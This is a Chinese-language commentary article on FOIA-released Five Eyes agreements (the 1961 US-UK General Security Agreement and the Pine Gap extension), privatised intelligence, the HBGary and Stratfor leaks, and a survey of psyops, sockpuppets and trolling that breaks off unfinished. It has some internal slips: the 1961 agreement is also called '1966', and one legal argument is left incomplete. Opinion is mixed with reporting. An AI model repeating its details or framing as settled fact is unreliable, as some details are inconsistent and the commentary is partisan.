2017 年 7 月，隐私国际组织和耶鲁大学法学院的媒体自由和信息访问研究所，向国家安全局、国家情报局局长办公室、国务院和国家档案与记录管理局提起诉讼，根据信息自由法案，要求查阅有关五眼联盟的记录。

足足等了一年，也就是才刚，隐私国际组织开始接受国家安全局和国务院的有限披露。虽然还没有看到当前协议的文本、以及其他会对协议如何运作有重要启示的记录—但迄今为止的披露已经能使人们能够更为深入地了解美国情报共享协议的性质和范围。

本报告将总结其中的一些披露，并讨论它们的含义。重点研究其中一项协议—1961 年美国政府与英国政府之间的“一般安全协定”—— 此处进一步验证了我们对情报活动私有化的理解，并提供了一个难得的观察视角：关于 “第三方统治”，这是对情报共享的监督和问责的明显障碍。

延伸阅读：***1959–61*** 英国—美国通信情报（***UKUSA***）协议附录

披露

支持五眼联盟的情报分享安排首先被记录在英国和美国在 1946 年的通信情报协议中，后来改名为 UK-US 通信情报协议。在隐私国际组织提起诉讼的时候，该协议的 1956 年版本是最新公开的。为了回应诉讼，国家安全局披露了几个跨越 1956 年至 1961 年的附录，因此也更新了对该协议的理解。

这里是英文版：1961 General Security Agreement between the Government of the United States and the Government of the United Kingdom (General Security Agreement)

国务院披露了“一般安全协议”以及为执行该协议条款而制定的一套程序。“一般安全协定”涉及保护美国和英国之间交换的机密信息，并规定“由两国政府中的任何一方给予安全分类的信息……任何一方政府通过政府渠道向另一方提供的服务将按照这些分类进行……接收方政

府将确保一定程度的保护，相当于或大于提供资料的政府所要求的保护程度。“国务院还披露了一些换文，当时的英国大使给美国大使 Harold Caccia 的信息、美国国务卿 Dean Rusk 表示各自政府接受协议条款。

这里是英文版：1998 Agreement to Extend the 1966 Agreement between the Government of Australia and the Government of the United States of America relating to the Establishment of a Joint Defence Facility at Pine Gap (Pine Gap Agreement)

美国国务院披露了当时的澳大利亚外交部长 Alexander Downer 和当时的美国大使之间的换文。澳大利亚大使 Genta Holmes 表示各自政府同意延长 1966 年“澳大利亚政府与美国政府关于在 Pine Gap 建立联合防御设施协定”的条款。

Pine Gap 是一个位于澳大利亚 Alice Springs 的基地，由美国和澳大利亚共同运营。在 **Pine Gap** 美国控制着跨越几大洲的卫星，这些卫星可以监视无线通信，例如通过手机、无线电和卫星上行链路传输的无线通信。收集的情报支持情报活动和军事行动，包括无人机空袭。

这些披露的文件表明，美国和澳大利亚政府同意将“Pine Gap 协定”从 **1998** 年**11**月**16**日起“延长十年”的协议，并在此后继续有效“直至终止”。Downer 对 Holmes 的来信明确提出了这点：

> *this Note and your confirmatory reply thereto shall together constitute an Agreement between our two Governments concerning this matter which shall enter into force on the date that the Government of Australia notifies the Government of the United States of America that all domestic procedures as are necessary to give effect to this Agreement in Australia have been satisfied.*

意见

上述的 Pine Gap 协定和“一般安全协议”在一个值得注意的方面有所不同：虽然美国公众可以获知 1998 年 Pine Gap 协定的延期，但 1961 年的“一般安全协议”尚未由美国公布。这种差异揭示了要求公布国际协议的相关法律中的差距。并且它支持在其他地方提出的呼吁，要求在这些类型的协议的形成和法律基础上提高行政部门的透明度和问责制。

美国明确认为 1998 年对 Pine Gap 协议的延期是一项具有法律约束力的国际协议。美国国务院在条约和其他国际协议系列（TIAS）中公布了 1998 年的 Pine Gap 协议，该系列作为美国签订的条约和其他国际协议的“有力证据”。同样，澳大利亚政府在澳大利亚条约系列中发布了 Pine Gap 协议。但是，尽管澳大利亚政府还公布了原始的 **1966 年 Pine Gap 协议的文本**，但美国却没有。

这一遗漏很重要。因为只有 **1966** 年的协议包含双方商定的条款——换言之，建立联合防御设施以开展情报活动的协议的性质和范围。

同样，美国和英国似乎都没有公布1961年的“一般安全协议”。根据英国政府 2000 年对议会问题的答复，当时的总安全协议尚未解密。通过各种公开的材料，包括政府网站和学术数据库，隐私国际组织发现了几个对一般安全协议的引用，但没有提到协议本身（也没有部分内容）。例如，2007 年“英国关于国防贸易合作条约”承认“根据”一般安全协议“制定的原则”……但是，公民社会组织在国务院根据 FOIA 要求披露之前，没人知道这些原则是什么。

有一个明显的论点是，国家有法律义务公布 Pine Gap 协定的原始文本和 1966 年的“一般安全协议”，以及对两者的任何更新。根据 1 U.S.C. §112a，国务大臣必须公布美国加入的所有条约和非条约国际协定。但这项义务受第**112a（b）**段中列出的一系列例外情况的限制。最值得注意的是，如果“总统认为”披露会损害国家安全利益，国务院就可以选择不披露。

政府可以证明其未能公布协议的理由有两个。首先，国家安全豁免可能适用。然而，鉴于最初的 Pine Gap 协议已经由澳大利亚政府和联合国公布，并且国家根据信息自由法的要求发布了“一般安全协议”。

可以提出的第二个论点是，美国国务院并未认为 1966 年 Pine Gap 的协定和一般安全协议是具有约束力的国际协议。根据现行美国法律，具有法律约束力的国际协议可采取条约或执行协议的形式。大多数美国国际协议都是执行协议，正如国会研究处概述的那样，它采取三种一般形式：

> （*1*）国会—执行协议，其中，国会提前或追溯授权执行机构签订的国际协议；（*2*）根据早先条约签订的执行协议，其中协议由批准的条约授权；（*3*）唯一执行协议，其中根据总统的宪法授权而未经国会授权进行协议。

1966 年 **Pine Gap** 协定和“一般安全协议”似乎属于第三类。两者均根据行政部门在外交和国家安全方面的 **Article II** 权力而未经国会授权而建立。

在20世纪70年代之前，执行协议是不受管制和未定义的。事实上，直到 1971 年 Case-Zablocki 法案通过后，国务院才概述了非条约国际协议的标准。按照这种逻辑，美国没有公布协议是因为不理解他们在签署时触发了 §112a 的发布要求。

然而，这一论点是可疑的，因为这两项协议似乎仍然有效。事实上，有证据表明，**1966** 年的一般安全协议并非最新版本。英国下议院提到 1983 年和 1984 年对“一般安全协定”的修正案，以及“英国国防部和美国国防部之间运作的新安全实施安排”，建立于 2003 年。由于是国务院提供了这些披露，因此足证国家拥有这些协议（甚至承认 TIAS 中的 Pine Gap 协议）。因此，国务院有必要根据 §112a 公布协议。

美国政府未能公布这些协议，加剧了长期以来对美国法律下的国际协议的构成、法律依据、已形成的数量、以及它们包含的内容的混乱认识，这也使公众更难以向政府提出承责要求。

正如其他人所指出的那样，“今天几乎所有的美国国际法律都是由总统单独指挥行动的，而国会或美国公众几乎没有任何监督权。”简而言之，公众成员不应该进行冗长的 FOIA 程序才能揭示支持人们对国家安全和国际合作的理解的协议文本。（本报告的这些披露是在隐私国际组织提出请求后将近一年的时间才获得的）

1961 年的一般安全协议

下面将仔细研究 1961 年的一般安全协议。特别是，考虑其关于私人承包商作用的规定，这有助于理解情报活动的私有化。进一步考虑“一般安全协议”援引“第三方规则”，这是情报共享协议中一个鲜为人知的但却很常见的特征，它对情报共享的有效监督和问责制提出了挑战。

私有化间谍活动的历史

1961 年“一般安全协定”重点阐述了间谍私有化的历史和范围，特别是在美国情报界的形成时期。关于这一主题的大量文献确实存在，其中一个主要的例子是 Tim Shorrock 的“Spies for Hire,”，其中讨论了“美国情报—工业联合体，它所服务的机构，其主要的工业企业、

以及经营其最大公司的前高级国家安全官员。“

在他的书中，Shorrock 绘制了这种伙伴关系的历史渊源和基础。例如，他描述了中央情报局如何与洛克希德公司签订合同，建造用于在冷战期间收集情报的 U-2 间谍飞机。他还描述了中央情报局与通用电气、Itek 和洛克希德公司签订的 CORONA 侦察卫星的委托合同，该卫星编制了苏联洲际弹道导弹复合体。

中央情报局并不是这种伙伴关系中唯一的政府参与者。正如 Shorrock 所强调的那样，“外包一直是美国间谍事业的一部分”，这表明美国情报界的其他部门长期以来一直参与这项工作。

例如，在 **20** 世纪 **50** 年代，**IBM**，贝尔实验室和 **Cray** 开发了第一台超级计算机和加密设备，**NSA** “用它来破解外交和军事信息，并将大量的信号转换为可操作的情报。”

现有的大部分文献都集中在美国情报界和美国公司之间的关系上，但很少有人知道，从美国情报机构外包到外国公司、再从外国情报机构到美国公司的状况。人们对外国承包商访问美国情报的机密级别了解甚少。“一般安全协定”的“产业安全附件”阐明了这些关系：

附件管辖“合同、分包合同、预先谈判、或其他政府批准的安排涉及其中一个或两个国家的机密信息的案例“，以下简称机密合同，由“英国或美国政府”或代表“英国或美国政府”下达或签署。

附件提供了一种机制，通过该机制，美国或英国的承包商可以被视为政府实体，以便共享机密信息。一般规则是“机密信息和材料的传输只能通过每个政府指定的代表进行，即通过政府对政府的渠道进行传播。”但是：

有例外。美国可以将机密材料直接传送给位于美国的公司，该公司在英国实体的所有权、控制权或影响力之下，英国可以将此类信息直接传送给英国的公司，该公司在美国实体的所有权、控制权、或影响力之下，只要这些公司获得了相应的安全许可。

附件还提供了一种非美国/英国的机制。承包商可能“有资格获得机密合同”的一般规则是“在第三方国家的所有权、控制权或影响力之下的企业不符合条件，”但是“允许释放信息的政府考虑例外情况”。

Shorrock 指出，“今天主宰智能行业的许多公司都是当年通过向情报界提供技术服务和产品而开始的（否则他们没有今天这般的强

大）”。因此，传统观点认为，20 世纪 50 年代和 60 年代的公私伙伴关系主要是技术性的—— 即促进新的监视能力的发展。

延伸阅读：如果您曾经对这篇文章感觉疑惑《互联网究竟是什么》，那么现在应该理解了，硅谷巨头之所以成为巨头，是因为他们一直服务于情报部门对社会的监视；我们在这篇文章中有一个比较全球性视角的相关描述《公私监控伙伴关系》

因此，人们希望“产业安全附件”将承包商的访问范围限制在完成这些技术任务所必需的信息范围内。但实际上，附件对可能与承包商共享的信息类型没有这种限制。相反，附件涵盖了“任何形式的机密信息，无论是口头的、可观看的还是文字材料形式的”，并将材料定义为“一切，无论其物理性质或构成如何”，包括文件、书写、地图和信件。

此外，附件也没有规定情报界活动可外包的标准，是否可以外包给外国承包商，以及在什么情况下可以外包。

过去，学者们曾经对间谍工作私有化提出过担忧。例如，Martin Trybus 教授认为，将情报工作私有化会降低一系列基本目标：

> 首先，民主和法治受到损害。逃避议会和司法的审查首先就是实现私有化的重要原因；其次，由于私营部门的成本较高，于是不再物有所值，而且安全审批的必要性限制了竞争，在一定程度上破坏了应该由国家安全和保密问题主导的该部门私有化的经济理由；最后，国家安全一方面受到更高情报成本的影响，另一方面情报和技术诀窍被转移到了情报机构之外……

间谍活动的私有化也引起了人们对本土政府职能外包的担忧。美国法律长期以来一直禁止承包商履行此类职能。但这有个问题，关于什么构成了“固有的政府职能”的指导不足（有关美国法律中相互矛盾的定义的审查，请参阅国会研究处2009年的摘要）。比如是否应允许私人承包商进行目标选择或情报分析与核查？

Simon Chesterman 教授指出，“这方面的不确定性似乎是故意的，从而加剧了保密性所带来的对问责制的挑战。”

“第三方规则”或“发起人控制原则”

1961 年的一般安全协议也提供了对“第三方规则”或“创始人控制原

则”的罕见视角，被认为是许多情报共享安排的共同特征。第三方规则禁止在未经信息来源所在国事先同意的情况下，将机构之间共享的信息披露给第三方（可能包括监视机构）。正如隐私国际所指出的，此类规则限制了监督并削弱了情报共享的责任。

虽然在民间社会和多边组织的情报共享讨论中经常使用第三方规则，但人们几乎没有机会看到规则在实践中的实际情况，因为情报共享协议很少受到公众监督的影响。“一般安全协议”包含对第三方规则的两种不同表述：一种包含在信函交换中，涉及美国与英国的协议，另一种包含在“一般安全程序协议”的附件中。前者比后者更具表现力，也更不怎么严谨，内容如下：

> 认识到保护我们政府之间直接或间接传达的所有机密信息对我们两国的国家安全和保障至关重要，我谨建议以下方面为相互理解以保护这些信息，即接收方：*a.* 未经发送方政府的批准，不会将信息发布给第三国政府。*b.* 将承诺向发送方政府提供与其能提供的保护程度基本相当的信息。*c.* 除非已给出的具体目的，不会使用这些信息用于其他目的。*d.* 将尊重信息中涉及的私人权利，例如专利、版权或商业秘密。“（重点补充）

附件中表达的第三方规则要短得多，只是指出：“受援国政府不会将此类信息用于其他目的，并且未经事先同意不会将此类信息透露给第三国政府“。

正如所阐述的那样，第三方规则表明了合作伙伴机构希望保留对共享信息的某种程度的控制。在某些情况下，这种控制愿望也可能保护人权。例如，该规则有助于防止向第三方机构进一步传播共享信息，特别是那些可能会滥用信息的机构。

但一个被误用的例子是 Maher Arar 案，加拿大政府在此案中提供了不准确的情报，后来与美国政府分享。美国政府随后将 Arar 先生拘留了 12 天，然后继续让他在叙利亚遭受酷刑的折磨。

政府还将第三方规则解释为禁止向其他第三方披露，并将监督机构也被纳入了该禁令。根据这种解释，很明显该规则可能从根本上就不利于情报监督。

作为一项原则问题，要求监督机构寻求外国机构的同意，以获取与国内机构共享的情报信息，这将削弱其行使独立和公正监督的能力。而

且作为一种惯例，外国合作伙伴不太可能同意这种要求。“一般安全协议”中第三方规则的两种不同表述突出表明，该规则没有“通用标准”的用语。关注人权规则的替代版本至少应该包括，例如，一个明确允许两国监督机构审查共享信息的架构。

——The Real War on Reality——

「图」

以下是纽约时报 2013 年的报道，揭示了私有化间谍活动在操纵社会舆论中发挥的作用。

这篇报道发表在 Snowden 的曝光之后不久，当时陆续有媒体参与到这场史上最大规律的揭露中来，真相已经无法掩饰，于是当局启动操纵舆论的方法，尝试尽可能减轻问责的压力。这种操纵就是通过互联网实现的。

当时，“美国是大规模监控公民的国家”这一概念已经深入人心，舆论停留在关于国家安全局 PRISM 数据收集计划的启示上，但忽略了另一个事实—— 今天的大多数情报工作不是由政府机构执行的，而是由私人情报公司执行，而且大部分工作涉及情报工作的另一个共同方面：欺骗。

也就是说，不仅涉及隐藏现实，还涉及“制造现实”—— 制造符合当权者利益的“现实”。监视收集的目的是操纵。

纽约时报说，阴暗而强大的力量中的秘密和欺骗可能听起来像是惊悚片，但它也是哲学家的工作。更准确地说，理解欺骗及其如何暴露是过去 2500 年来哲学的一个主要课题。也是一个记者、哲学家和其他所有寻求真相的人所从事的工作可以发生触碰的地方。

在西方知识传统中最常引用的一个寓言是柏拉图，他描述了一群人在洞穴内被铐住，背后有一个火堆，他们只能看到走在他们身后的人在墙上投下的阴影。他们把阴影误认为是“现实”。如何摆脱这种困境看到真实存在的东西？这些人需要不受束缚并走出洞穴才行。

报告真实存在于在洞穴之外的世界，是哲学家的基本职责之一。

在更现代的意义上，还应该考虑完全保密的运作这种形式作为认识论中的一个问题领域，其用来创造虚假的印象和所谓的现实—— 这是哲学的分支，涉及知识的本质。对优化人类知识为己任的哲学家们应

该考虑如今发生的这种大规模监视和欺骗操纵，这不仅仅是下一部“源代码 **Matrix**”电影的素材，而是真正的认知战争。

纽约时报说，为了对私人情报机构在我们社会中扮演的操纵角色有所了解，有必要研究过去几年中一些重要的秘密数据所揭示的信息。这些重要见解来自 2010 年被一个名叫 LulzSec 的团体（当时该团体被称为“互联网联邦调查局”），其目标是私人情报公司 HBGary Federal。

该组织收到了 **75,000** 封被曝光的电子邮件，其内容涉及担心 **Wikileaks** 的曝光行动，美国银行向司法部求助。美国司法部反过来将美国银行转介给游说公司 Hunton 和 Willliams，后者又将该银行与一组信息安全公司联合起来，这些公司统称为 Themis 团队。

Themis 团队被有效地引入（包括 HBGary 以及私人情报和安全公司 Palantir Technologies，Berico Technologies 和 Endgame Systems 的团队）目的是寻找破坏 **Wikileaks** 和斯诺登最信任的著名记者 **Glenn Greenwald** 的声誉。也就是我们在前言中所描述的：为了继续掩盖真相，当局启动了抹黑模式，试图令揭秘者失信，从而操纵大众的认知。

你完全可以想像，如果中国当局遇到敢于揭发政治黑幕的人，他们也会这么做，抹黑和构陷几乎是大多数情况下的捷径。

最近几天内的一个热门消息就是，厄瓜多尔总统 Lenín Moreno 前往英国“谈判”，准备将 Julian Assange 交给英国政府。如果实现，将极有可能导致 Wikileaks 主编被引渡到美国，面临死刑或无限期关押得不到审判。从奥巴马政府开始，已经有很多揭秘者遭受了同样的命运，特朗普政府的做法只会更甚。

这一突发消息此前很多人没有想到，因为厄瓜多尔宪法是禁止引渡本国公民的，而 Julian 已经获得了厄瓜多尔公民身份，理论上 Moreno 不能这么做。但是现实是，Moreno 太期待美国的订单以拯救经济了（准确说是他的政权稳固性）他已经不惜违宪。

延伸阅读：***Imminent threat to Julian Assange underscores need for global defence movement***

其实有些人已经预先意识到了这一案子的事态正在恶化，因为它是有迹象的，那就是在此消息出现之前的**10**天左右，网络上忽然出现了很多抹黑的舆论，甚至还有体制内媒体的参与，针对揭秘记者、普利策

新闻奖获得者 **Glenn Greenwald ——** 他是美国最著名的也是最具影响力的真相捍卫者之一，因协助斯诺登的披露，长期遭受各种恶意围攻，已移民巴西。

这是一种“要动手了”的暗示，相比下中国网民或许更了解这种模式。

但至少在 2013 年，美国网友对这种操作模式尚未熟知。在纽约时报揭露这件事之前。

延伸阅读：美国的“无毛水军什么样”

纽约时报说，Themis 团队还制定了一项建议，以破坏最著名的批评家之一的可信度，该组织名为 Chamber Watch。这项提案要求首先制作一份“虚假文件，大致突出定期的财务信息”，将其交给这个反对商会的进步团体，然后将该文件作为假文件公开，也就是放线钓鱼，再亲自“辟谣”，以“证明 Chamber Watch 不可信“。

此外，Themis 这个舆论操纵团队还建议创建一个“虚假内幕人物”来渗透到反对派组织 **Chamber Watch** 中。曝光的电子邮件显示，他们将“创造两个虚假的内幕人物角色，用一个作为杠杆来诋毁另一个，同时确认第二个人的合法性。”

曝光电子邮件的证据表明，Themis 团队正在开发一个“人格管理”系统—— 一个根据美国空军的特定要求开发的程序，允许一个用户控制多个在线身份（就是人肉水军）以进行舆论引导，在社交媒体空间伪装基层支持。纽约时报说，该计划的合同最终被授予另一家私人情报公司。

有人以为这是“源代码”电影中的情节吗？不，它是真实的，就存在于现实社会中。纽约时报说，这是在某种程度上类似于**“Psyops”**（心理操纵）的使用，学过美国历史的学生们都知道这种东西，几十年来它就是“国家军事战略”的一部分。

在军方的“非常规战争训练手册”中，Psyops 被定义为“向外国观众传达选定信息和指示的计划行动，以影响他们的情感、动机、客观推理，最终影响外国政府、组织、团体和个人的行为。”

换句话说就是，用欺骗和虚假的现实感来操纵人民，有时比用武力或常规武器强加于其意志，更有效。当然，您可以选择将其视为针对敌人控制“动机、推理和行为”的策略，但别忘了，这也很可能被用于施加在自己人身上。如今你能看到太多的后者正频繁出现。

最重要的是，**Psyops**（心理操纵）根本不需要由国家政府来实施，完全可以由具有执行这些操纵行为之能力和激励的任何人承担，对于私人情报承包商，能力是充分的，并且有耀眼的激励—— 价值数十亿美元的合同。

换句话说就是，你不知道这些承包商的幕后是谁，根本无法“捉贼”。

当年，在 HBGary 遭遇黑客入侵几个月后，一位名叫 Jeremy Hammond 的芝加哥地区活动家和黑客技术人士，成功入侵了另一家私人情报公司—— Strategic Forcasting Inc.或叫 Stratfor，并发布了大约 500 万封电子邮件。

这些电子邮件的揭露提供了一个非凡的洞察视角，关于私人情报公司如何看待自己与 C.I.A. 等政府安全机构之间的关系。

然而，这位透明度革命的英雄却被判处十年徒刑！此时严重打击了知情权运动，Jeremy Hammond 的支持者走上街头为其声援。*Hammond’s supporters were vocal and numerous. More than 250 people wrote letters to the court to support him.*

通过 Hammond 曝光的邮件，人们了解到很多内幕。在 2004 年向 Stratfor 员工发送的一封电子邮件中，该公司的创始人兼董事长 George Friedman 完全不屑于中央情报局相对于他们自己的能力，他说：“兰利的每个人都知道我们做过他们从未做到的事。而我们只需要一小部分资源。他们总是问我们是怎么做到的，我们现在可以向他们展示，也许他们可以学到点儿东西。“

纽约时报评论说，Stratfor 的曝光电子邮件让我们对私人保安公司的世界有了更为清晰的窥见，这一认识令人恐惧。

尤其是，泄露的电子邮件显示了监视社会活动家惊人的事实，监视针对占领奥斯汀的抗议者以及占领事件与环境组织 Deep Green Resistance 的关系。Stratfor 还参与了其他监测行动，被定为目标的活动家正在为印度博帕尔的化学工厂灾难受害者寻求赔偿，其中包括一个名为 Bophal Medical Appeal 的团体。

更令人惊讶的是，被监视目标还包括 The Yes Men，这是一个讽刺陶氏化学公司的讽刺团队（就是专门吐槽的组织，当然与中国的嘴炮不同，该团队有社会行动力），他们曾经搞了一个假的新闻发布会宣布为受害者提供赔偿。

总之，私人情报行业有效地参与 **Psyops**（心理操纵）以愚弄美国公众。“参与行动计划、将选定的信息传达给公众，以影响公众的情感、动机、客观推理，最终，影响人们的行为“。或者正如哲学家所说，他们正在进行认知战争。

延伸阅读：英国国家通信情报局（***GCHQ***）在***2012***年的 ***SigDev*** 大会上展示的一张幻灯片描述了针对异议目标群体的两种攻击形式：“信息作战”、和“技术破坏”。***GCHQ*** 称之为“在线转化行动”，其目的被称之为 ***4D***：***Deny*** 否定***, Disrupt*** 破坏***, Degrade*** 贬损***, Deceive*** 欺骗……

> 柏拉图在“洞穴”的寓言中使用了一个希腊词：*aletheia*，通常被翻译为 *the truth*，但更恰当地翻译是“披露”或“揭露” -—— 字面意思是“不被隐藏的状态”。揭露过程是获取真相的先决条件。真相寻求者的目标就是帮助人们进行这种披露—— 打败虚幻的表现形式，阻止人们以被愚弄的方式看世界。在第一项任务完成之前，没有任何真相可言—— 第一项任务就是 *Wikileaks* 和所有负责任的媒体的本职工作。

我们之所以在这里用中文长篇大论是因为中国教育没能在批判性思考方面给予足够的重视，这就导致人们非常容易被操纵和“引导”，容易听信。而批判性思考在当下的价值事关公民权，也就是民主的有效性、变革的可能性。

我们下面的文章中将更多解释为什么互联网在扼杀民主，并且为什么只有美国和中国可以做到这点。中国虽然还没有同类内幕被揭示，但您完全可以将本文中的内容套用在中国身上理解，不会有更多差异了。

所谓反洗脑并不仅仅是反驳被灌输过的错误结论，而是从根本上认识灌输行为从而抵制一切形式的灌输操纵。这已经是一种迫切需要提高警惕的问题，否则，中国将极有可能复制东南亚广泛存在的诡异现象，即选举很多并且合法，但是仍没有民主，选出来的依旧是践踏人权扼杀自由的暴君。

批判性思考和揭露，我们能做的唯一的事，也是最有效的事。○

原文

趣味心理战（推荐纪录片） - iYouPort

免费书和纪录片心理战和信息战

心理战是如何操作的？为了达成什么样的目的？现代科技为心理战的进化提供了哪些便利？最常见的认知行为操纵分为哪几种？尤其是，如何反击它们？

「图」

「图」

维基百科将“社会工程”定义为“对执行行为或泄露机密信息的心理操纵”。这是一种用于信息收集、欺诈或骗取系统访问权限的伪装信任技巧，它与传统的“骗局”不同，因为它通常是一整套更复杂的欺诈计划中的众多步骤之一。

虽然社会工程的名声不好，但绝对不完全是攻击性的，它在日常生活中的许多方面都实用。

韦伯斯特字典将社会定义为“人类社会的或与之相关的，个人与群体的相互作用，工程（在这种情况下）就如“对某事物的控制或指导（如行为）“。接下来是另一个工程背景的定义：“使用科学方法设计和创建大型结构（如道路和桥梁）或新产品或系统的工作”。

将韦伯斯特的社会定义与前面的工程定义相结合，就是社会工程。社会工程用于广泛的目的：

- 父母让孩子按照自己的意图行事的时候、孩子想继续玩游戏时搪塞父母的方法；
- 教师与学生互动的方式—以令学生接受自己的想法；
- 医生、律师或心理学家从患者或客户那里获取信息的方式，尤其是那些患者不怎么希望透露的信息，并且对治疗和协助方案的设置很有意义；
- 执法—俗称诱供；
- 约会—让周围人喜欢上你的办法；

- 从婴儿到政治家，每个人之间的每一次人际互动几乎都需要社会工程。

这里主要关注的是我们可以从军事行动、执法、政治家、心理学家甚至儿童身上学到什么，以便更好地发现和识别不符合我们最佳利益的操纵行为，尽可能地保护自己。

心理战——

正如军方所说，PSYOPS 试图利用敌人政府、军队和人口中的人性脆弱点来追求国家和战场的目标。

‘心理行动：计划运作向外国观众传达选定的信息和指标，以影响他们的情感、动机、客观推理，最终影响外国政府、组织、团体和个人的行为。心理操纵的目的是诱导或加强有利于创始者目标的外国态度和行为。也称为 *PSYOP*。另见加强型心理操纵; 公开的和平时期心理行动计划; 感知管理。‘—— 美国国防部。

几个世纪以来，这种宣传已被广泛用于战争，但是所有社会、经济、工业和军事因素都在使宣传成为战争的一个重要组成部分，社会工程宣传战第一次被隆重使用是在第一次世界大战中，很多机构采取了这种方法，如英国信息部、德国宣传和公共启蒙部门，美国新闻委员会（第一次世界大战期间），战争信息办公室（第二次世界大战期间），和许多其他国家的“同行”。

战争宣传的作用是描绘宣传者方面的军事成功、展示反对者必须面对的武装力量和经济力量，以及“我方”具备的对手所反对的事业的道德优越性。并通过推动特定信息流来刺激战争的努力，在长期冲突中加强人们对国家的信念坚定不移，促使人们勇敢地承担损失，勇敢地做出牺牲，慷慨地购买（战争）债券，以及在国家的“伟大胜利”努力中以各种可能的方式进行合作—— “把你的孩子给我们”……

重写历史——

大多数（如果不是全部的话）用于重写历史的技术都是用于欺骗的或否认事实的，并且不同于使用伪造文件作为“事实”来源（或者找到某种借口不信任真正的文件），它是通过将真相从历史中剔除来使宣传的内容看起来合理。

虚假信息——

与旨在提供情感支持的传统宣传技术不同，虚假信息战旨在通过诋毁

相互冲突的信息或支持错误的结论，从而实现在理性层面操纵受众。

感知管理——

在20世纪80年代，里根政府开创了“感知管理”，目的是让美国人民接受更多的美国干涉主义行动，但这种宣传结构一直持续到今天让公众接受无休止的战争。

在社会工程中，“通信建模”很常见，并且使用的是相同的 Shannon-Weaver 模型，被称为模型之母（Berlo，transactional）。

沟通可以采取许多不同的形式。有听觉手段，如语音、歌曲和语气，还有非语言手段，如肢体语言、手语、标志性语言、触摸和眼神接触。无论使用何种通信方式，消息及其传送方式都会对接收方产生明确的影响。

了解基本规则对于为目标构建特定的模型至关重要。有些规则不能被破坏，例如通信总是有发送者和接收者。此外，每个人都有既有认知，并受到他们过去的经历和他们自己的看法的影响。每个人都根据这些“个人现实”产生不同的感知、体验和对事物的解释。由于这个事实，任何特定事件总是被不同的人以不同的方式感知。这些“个人现实”是由亲人如父母、祖父母和兄弟姐妹等这些“先前社会工程”建立的，这些社会工程可能也是最深刻的一种了，它带有血缘天然的信任。

每个人都有身体和心理的个人空间。根据许多因素，您有权允许或禁止他人进入该空间或靠近您。有效的沟通就是在尝试将所有参与者带入彼此的心理位置。

当社会工程师进行沟通时，他们就是在试图将其他人带入他们的空间并令其主动分享这些个人现实。社会工程师的目标是同时提供口头和非口头线索以改变目标（个人或团体）的感知，从而产生社会工程师所期望的影响。

促进特定形式的意图——

除了少数例外，我们所有人都受到20世纪主流通信技术（印刷机、广播、电视和电话）以及我们对它们的使用的影响。这些技术使知识可用，让我们开始关注世界各地的事件，并且在电话普及的情况下，扩展了我们的谈话手段。在这个意义上，它们确实是自由的技术。

然而，凭借其所有优势，这些技术也在为暴政服务，在信息消防栓的

冲击下人们被动地接收信息和娱乐，深思熟虑被消解了，正因为通信过于便利，人们越来越倾向于快速作出反应。而一些能够主宰我们的社交工程人员（包括宣传战策划者）看清并利用这种冲动的大众传播潜力似乎只是时间问题。

我们都赞成“倾听”和“观察”，在20世纪90年代开始，通信技术的故事变成了有利于“自由表达”的计算机通信的发展。个人网站、博客、自由软件、专利巨魔和许可证斗争、社交媒体、隧道效应、新硬件和软件、以及数字安全军备竞赛的故事不断展开，战争宣传战的机器也变得更加兴奋了。

对于使用电影和纪录片概念促进公众对政府政策方向的大规模转变（促进特定形式的意图）、预先准备植入公众的思想（无论是故意发生的还是机会发展的）都不是什么新鲜事。只是如今在科技的协助下它更加“先进”了。

数字化变形——

数字化变形—语音、视频和照片—现在可以在个人计算机上轻松实现。篡改任何图像并将其提供给其他人已经非常简单。合成可能是数字篡改图像的最常见形式。图像变形是一种将一个图像逐渐转换为另一个图像的数字技术，并且该术语已被非专业人员应用于更广泛的数字篡改类别，或者称为润饰。

计算机生成的图像也可以完全由熟练的艺术家/程序员生成。

虽然“图像增强”不能从根本上改变图像的外观或含义（如合成、变形和润饰），但它仍然可以对图像的解释产生微妙的影响—例如，简单的增强可能会模糊或夸大特定的图像细节，或改变图像看起来被拍摄的时间。除了所有这些之外，图像和视频还可以进行隐形更改，例如用于保护版权的数字水印和隐写文件应用程序添加的隐藏文件。

雾化——

重写历史和构建虚假信息策略在过去是如此的成功，以至于该战术被扩展到在线使用时被称为“雾化”：计算机科学家将其称为“雾计算”—所谓的云计算的延伸。//在五角大楼最早的研究部门 Darpa 最近发表的一篇论文中显示//，他们已经建立了“自动生成和分发可信错误信息的原型……然后跟踪访问并企图滥用它。我们称之为’虚假信息技术’。”

袜子木偶——

互联网已经成为虚拟人物的战场—所有人都试图收集信息并利用这些信息来帮助自己的事业并伤害他们的敌人。这是一场没有旁观者的战争，因为无论我们是否意识到这一点，我们所有人都已经陷入了这场战斗中。（Virtual Unreality: Just Because the Internet Told You, How Do You Know It's True?）

我们都无法与互联网上互动的大多数其他人进行实际的会面。因此，我们创建了在网络世界中代表自己的化身，这些虚拟身份是被设计的（在某种程度上，有意识或无意识的），以塑造他人关于我们真实身份的想法。我们很自然地创造出代表我们想要的东西的形象而不是我们的真实形象，以此来增强我们的事业。借此操纵别人对我们的看法，给自己带来一些优势，欺骗是这场战斗的基本面。

Sockpuppetry（袜子木偶—使用虚假身份进行欺骗）已有数百年的历史了，但网络创造了现代版的 sockpuppets，欺骗比以往任何时候都更容易。特勤局甚至使用死去的孩子身份来制造间谍和渗透组织。（Police spies stole identities of dead children；The Lives of Ronald Pinn ）（Revealed: US spy operation that manipulates social media；"China Uses an Army of Sockpuppets to Control Public Opinion—and the US Will Too" ）

袜子木偶就如其他社交工程方法一样，它可以用于正义和邪恶两种目的，IYP曾经介绍过《某些行动者，你需要一个袜子木偶》

Trolling——

政府人员接受培训，以促进特定形式的意图和攻击其他形式的意图。情报机构试图控制、渗透、操纵和扭曲在线语话，并且这样做肯定会损害互联网本身的完整性。例如，在 JTRIG 的核心自我识别目的中有两种策略：

- 将各种虚假材料冲入互联网，以破坏其目标的声誉；
- 利用社会工程学和其他技术来操纵在线语话和行动，以产生操纵者认为合适的结果。要了解这些计划的极端性，请考虑他们为实现这些目标而采用的策略："假旗操作"（将虚假材料发布到互联网并将其错误地归咎于其他人）；虚假的受害者博客帖子（假装成他们想要破坏其声誉的个人受害者），并在各种论坛上发布"否定性信息"。

网络欺凌——

网络欺凌也不在我们的控制之下。在目前的社会状态中，我们的同伴和更多的弱势社会成员需要帮助，他们没有得到帮助，因为，例如，每个人都在忙于赚钱和神经症竞争。

对抗方法——

